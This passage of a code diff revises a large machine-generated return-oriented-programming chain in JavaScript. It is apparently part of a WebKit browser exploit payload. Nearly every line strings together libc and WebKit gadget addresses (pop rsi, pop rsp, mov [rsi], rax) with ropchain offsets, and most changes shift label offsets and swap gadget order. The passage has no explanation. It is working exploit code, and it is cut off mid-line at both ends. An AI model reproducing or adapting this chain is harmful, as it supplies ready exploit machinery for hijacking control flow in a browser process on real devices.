set_gadget(libc_base+792472,); //pop rcx -//L1778: +//L1777: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1779: @@ -11563,10 +11561,10 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+133424, //L1781 +ropchain+133408, //L1781 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+133440, //L1782 +ropchain+133424, //L1782 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); @@ -11578,14 +11576,14 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+133544, //L1783 +ropchain+133528, //L1783 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+133576, //L1785 +ropchain+133560, //L1785 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+133560, //L1784 +ropchain+133544, //L1784 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -11608,14 +11606,14 @@ webkit_base+14959219, //cmp rax, rcx ; sete al webkit_base+8824269, //setle al libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+133744, //L1787 +ropchain+133728, //L1787 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+133760, //L1788 +ropchain+133744, //L1788 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+133728, //L1786 +ropchain+133712, //L1786 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); @@ -11630,23 +11628,23 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+133864, //L1791 +ropchain+133848, //L1791 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+133928, //L1794 +ropchain+133912, //L1794 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+133912, //L1793 +ropchain+133896, //L1793 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L1791: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi +set_gadget(libc_base+792472,); //pop rcx //L1790: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx +set_gadget(libc_base+793877,); //pop rsi //L1792: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi @@ -11660,11 +11658,11 @@ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+134040, //L1795+8 +ropchain+134024, //L1795+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+134032, //L1795 +ropchain+134016, //L1795 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp @@ -11672,32 +11670,32 @@ libc_base+811575 //pop rsp //L1795: db([0, 0]); // 0x0 set_gadgets([ -ropchain+134056, //L1795+24 -ropchain+135688, //L1789 +ropchain+134040, //L1795+24 +ropchain+135672, //L1789 libc_base+793877, //pop rsi -ropchain+134112, //L1798 +ropchain+134080, //L1796 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1796: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L1798: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1797: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+134216, //L1801 +ropchain+134200, //L1801 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+134200, //L1800 +ropchain+134184, //L1799 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1800: +//L1799: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1801: @@ -11705,25 +11703,25 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+134384, //L1804 +ropchain+134368, //L1804 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+134400, //L1805 +ropchain+134384, //L1805 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi ropchain+134352, //L1802 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+134368, //L1803 +ropchain+134336, //L1803 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1802: +//L1803: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1803: +//L1802: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1804: @@ -11734,10 +11732,10 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+134472, //L1806 +ropchain+134456, //L1806 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+134488, //L1807 +ropchain+134472, //L1807 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); @@ -11749,22 +11747,22 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+134648, //L1811 +ropchain+134632, //L1811 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+134600, //L1808 +ropchain+134584, //L1809 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+134632, //L1810 +ropchain+134616, //L1810 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1808: +//L1809: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1809: +//L1808: db([24, 0]); // 0x18 set_gadget(libc_base+206806,); //pop rdi //L1810: @@ -11775,7 +11773,7 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+134704, //L1813 +ropchain+134688, //L1813 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi @@ -11785,21 +11783,21 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+134808, //L1814 +ropchain+134792, //L1815 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+134840, //L1816 +ropchain+134824, //L1816 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+134824, //L1815 +ropchain+134808, //L1814 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1814: +//L1815: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1815: +//L1814: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L1816: @@ -11807,10 +11805,10 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+134912, //L1817 +ropchain+134896, //L1817 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+134928, //L1818 +ropchain+134912, //L1818 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); @@ -11822,11 +11820,11 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+135024, //L1820 +ropchain+135008, //L1820 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+135008, //L1819 +ropchain+134992, //L1819 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); @@ -11842,14 +11840,14 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+135104, //L1822 +ropchain+135088, //L1821 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1822: +//L1821: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L1821: +//L1822: db([10, 0]); // 0xa set_gadget(libc_base+206806,); //pop rdi //L1823: @@ -11857,14 +11855,14 @@ db([10, 0]); // 0xa set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+135240, //L1824 +ropchain+135224, //L1824 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+135272, //L1826 +ropchain+135256, //L1826 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+135256, //L1825 +ropchain+135240, //L1825 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -11887,14 +11885,14 @@ webkit_base+14959219, //cmp rax, rcx ; sete al libc_base+389047, //setne al libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+135440, //L1828 +ropchain+135424, //L1828 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+135456, //L1829 +ropchain+135440, //L1829 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+135424, //L1827 +ropchain+135408, //L1827 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); @@ -11909,20 +11907,20 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+135576, //L1831 +ropchain+135544, //L1830 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+135608, //L1833 +ropchain+135592, //L1833 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+135592, //L1832 +ropchain+135576, //L1832 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1830: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx +set_gadget(libc_base+793877,); //pop rsi //L1831: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi @@ -11936,25 +11934,25 @@ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+389047, //setne al libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+135680, //L1835 +ropchain+135664, //L1834 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1835: +//L1834: db([0, 0]); // 0x0 //L1789: set_gadgets([ libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+135800, //L1837 +ropchain+135784, //L1837 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+135816, //L1838 +ropchain+135800, //L1838 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+135784, //L1836 +ropchain+135768, //L1836 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); @@ -11969,20 +11967,20 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+135936, //L1840 +ropchain+135904, //L1839 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+135968, //L1842 +ropchain+135952, //L1842 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+135952, //L1841 +ropchain+135936, //L1841 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1839: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx +set_gadget(libc_base+793877,); //pop rsi //L1840: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi @@ -11996,25 +11994,25 @@ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+389047, //setne al libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+136040, //L1844 +ropchain+136024, //L1843 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1844: +//L1843: db([0, 0]); // 0x0 //L1736: set_gadgets([ libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+136160, //L1846 +ropchain+136144, //L1846 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+136176, //L1847 +ropchain+136160, //L1847 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+136144, //L1845 +ropchain+136128, //L1845 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); @@ -12029,14 +12027,14 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+136280, //L1850 +ropchain+136264, //L1850 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+136328, //L1852 +ropchain+136312, //L1852 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+136312, //L1851 +ropchain+136296, //L1851 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); @@ -12056,11 +12054,11 @@ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+136440, //L1853+8 +ropchain+136424, //L1853+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+136432, //L1853 +ropchain+136416, //L1853 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp @@ -12068,32 +12066,32 @@ libc_base+811575 //pop rsp //L1853: db([0, 0]); // 0x0 set_gadgets([ -ropchain+136456, //L1853+24 -ropchain+138752, //L1848 +ropchain+136440, //L1853+24 +ropchain+138736, //L1848 libc_base+793877, //pop rsi -ropchain+136512, //L1856 +ropchain+136480, //L1854 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1854: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L1856: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1855: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+136616, //L1859 +ropchain+136600, //L1859 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+136600, //L1858 +ropchain+136584, //L1857 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1858: +//L1857: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1859: @@ -12101,25 +12099,25 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+136784, //L1862 +ropchain+136768, //L1862 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+136800, //L1863 +ropchain+136784, //L1863 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi ropchain+136752, //L1860 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+136768, //L1861 +ropchain+136736, //L1861 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1860: +//L1861: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1861: +//L1860: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1862: @@ -12130,10 +12128,10 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+136872, //L1864 +ropchain+136856, //L1864 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+136888, //L1865 +ropchain+136872, //L1865 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); @@ -12145,22 +12143,22 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+137048, //L1869 +ropchain+137032, //L1869 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+137000, //L1866 +ropchain+136984, //L1867 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+137032, //L1868 +ropchain+137016, //L1868 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1866: +//L1867: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1867: +//L1866: db([56, 0]); // 0x38 set_gadget(libc_base+206806,); //pop rdi //L1868: @@ -12172,11 +12170,11 @@ set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+137152, //L1871 +ropchain+137136, //L1871 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+137136, //L1870 +ropchain+137120, //L1870 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -12191,29 +12189,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+137248, //L1874 +ropchain+137216, //L1872 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1872: -db([24, 0]); // 0x18 -set_gadget(libc_base+792472,); //pop rcx -//L1874: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1873: +db([24, 0]); // 0x18 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+137352, //L1877 +ropchain+137336, //L1877 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+137336, //L1876 +ropchain+137320, //L1875 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1876: +//L1875: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1877: @@ -12221,10 +12219,10 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+137424, //L1878 +ropchain+137408, //L1878 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+137440, //L1879 +ropchain+137424, //L1879 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); @@ -12236,15 +12234,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+137584, //L1882 +ropchain+137568, //L1882 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+137552, //L1880 +ropchain+137536, //L1880 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+137568, //L1881 +ropchain+137552, //L1881 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -12262,7 +12260,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+137672, //L1884 +ropchain+137656, //L1884 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); @@ -12280,29 +12278,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+137776, //L1887 +ropchain+137744, //L1885 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1885: -db([24, 0]); // 0x18 -set_gadget(libc_base+792472,); //pop rcx -//L1887: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1886: +db([24, 0]); // 0x18 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+137880, //L1890 +ropchain+137864, //L1890 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+137864, //L1889 +ropchain+137848, //L1888 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1889: +//L1888: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1890: @@ -12310,16 +12308,16 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+137968, //L1892 +ropchain+137952, //L1891 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+137984, //L1893 +ropchain+137968, //L1893 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+792472 //pop rcx ]); -//L1892: +//L1891: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1893: @@ -12327,12 +12325,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+138040, //L1895 +ropchain+138024, //L1894 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1895: +//L1894: db([0, 0]); // 0x0 set_gadgets([ webkit_base+2997875, //mov [rax], rcx @@ -12349,7 +12347,7 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+138160, //L1896 +ropchain+138144, //L1896 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -12359,12 +12357,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+138216, //L1899 +ropchain+138200, //L1898 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1899: +//L1898: db([0, 0]); // 0x0 set_gadgets([ webkit_base+865136, //mov [rax], cl @@ -12375,18 +12373,18 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+138360, //L1902 +ropchain+138344, //L1902 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+138328, //L1900 +ropchain+138312, //L1901 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1900: +//L1901: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1901: +//L1900: db([56, 0]); // 0x38 set_gadget(libc_base+788575,); //pop rax //L1902: @@ -12395,14 +12393,14 @@ set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+138472, //L1903 +ropchain+138456, //L1903 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+138504, //L1905 +ropchain+138488, //L1905 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+138488, //L1904 +ropchain+138472, //L1904 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -12422,10 +12420,10 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+138600, //L1906 +ropchain+138584, //L1906 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+138616, //L1907 +ropchain+138600, //L1907 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); @@ -12442,10 +12440,10 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+138728, //L1908 +ropchain+138712, //L1908 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+138712, //L1909 +ropchain+138696, //L1909 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); @@ -12456,32 +12454,32 @@ set_gadget(libc_base+811575,); //pop rsp db([0, 0]); // 0x0 set_gadgets([ libc_base+811575, //pop rsp -ropchain+140160, //L1910 +ropchain+140144, //L1910 //L1848: libc_base+793877, //pop rsi -ropchain+138808, //L1913 +ropchain+138776, //L1911 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1911: -db([24, 0]); // 0x18 -set_gadget(libc_base+792472,); //pop rcx -//L1913: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1912: +db([24, 0]); // 0x18 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+138912, //L1916 +ropchain+138896, //L1916 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+138896, //L1915 +ropchain+138880, //L1914 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1915: +//L1914: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1916: @@ -12489,15 +12487,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+139056, //L1919 +ropchain+139040, //L1919 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+139024, //L1917 +ropchain+139008, //L1917 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+139040, //L1918 +ropchain+139024, //L1918 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -12515,29 +12513,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+139152, //L1922 +ropchain+139120, //L1920 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1920: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L1922: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1921: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+139256, //L1925 +ropchain+139240, //L1925 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+139240, //L1924 +ropchain+139224, //L1923 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1924: +//L1923: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1925: @@ -12545,25 +12543,25 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+139424, //L1928 +ropchain+139408, //L1928 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+139440, //L1929 +ropchain+139424, //L1929 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi ropchain+139392, //L1926 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+139408, //L1927 +ropchain+139376, //L1927 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1926: +//L1927: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1927: +//L1926: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1928: @@ -12574,11 +12572,11 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+139536, //L1931 +ropchain+139520, //L1931 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+139520, //L1930 +ropchain+139504, //L1930 webkit_base+7438103, //mov 